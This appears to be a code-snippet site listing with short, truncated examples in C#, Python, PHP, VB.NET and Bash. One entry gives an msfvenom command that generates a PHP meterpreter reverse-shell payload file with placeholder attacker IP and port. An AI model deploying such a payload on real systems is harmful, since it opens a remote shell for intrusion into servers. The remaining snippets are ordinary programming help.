What do you want to save?
Add Code snippet
New code examples
-
Javascript 2022-03-21 16:20:05
how to mock Expression<func<T>> parameter
var fakeLessonList = new List<Lesson> { new Lesson() { LessonId = 1, LessonTypeId = 1,LanguageId = 1, TeacherId = 1, LessonName = "Professional Lesson"}, new Lesson() { LessonId = 2,LessonTypeId = 2, LanguageId = 2,... Add solution -
Python 2022-03-21 13:20:10
python list comprehension multiple for
""" List comprehension goes through the loops in the order you'd expect. Outer loops (first loops) are executed first, then inner loops. """ numbers = [1, 2, 3, 4, 5] letters = ['a', 'b', 'c', 'd', 'e'] list_comprehension =... Add solution -
Shell/Bash 2022-03-21 13:10:51
reverse php shell pentestmonkey
##This will create the payload file "shell.php" with your ip and port. msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php ##You can always "nano" the file to change your ipaddr... Add solution -
PHP 2022-03-21 10:35:07
php csv auto download
<?php header('Content-Type: text/csv'); header('Content-Disposition: attachment; filename="sample.csv"'); $list = array ( array('aaa', 'bbb', 'ccc', 'dddd'), array('123', '456', '789'), array('"aaa"', '"bbb"')... Add solution -
BASIC 2022-03-20 07:40:02
get unique random number in vb.net
Dim numbers = Enumerable.Range(0, 11).ToList() Dim RandomClass As New Random() Dim RandomIndex As Integer For counter As Integer = 1 To 5 RandomIndex = RandomClass.Next(0, numbers.Count) MsgBox(numbers(RandomIndex)) numbers.RemoveAt(RandomInde... Add solution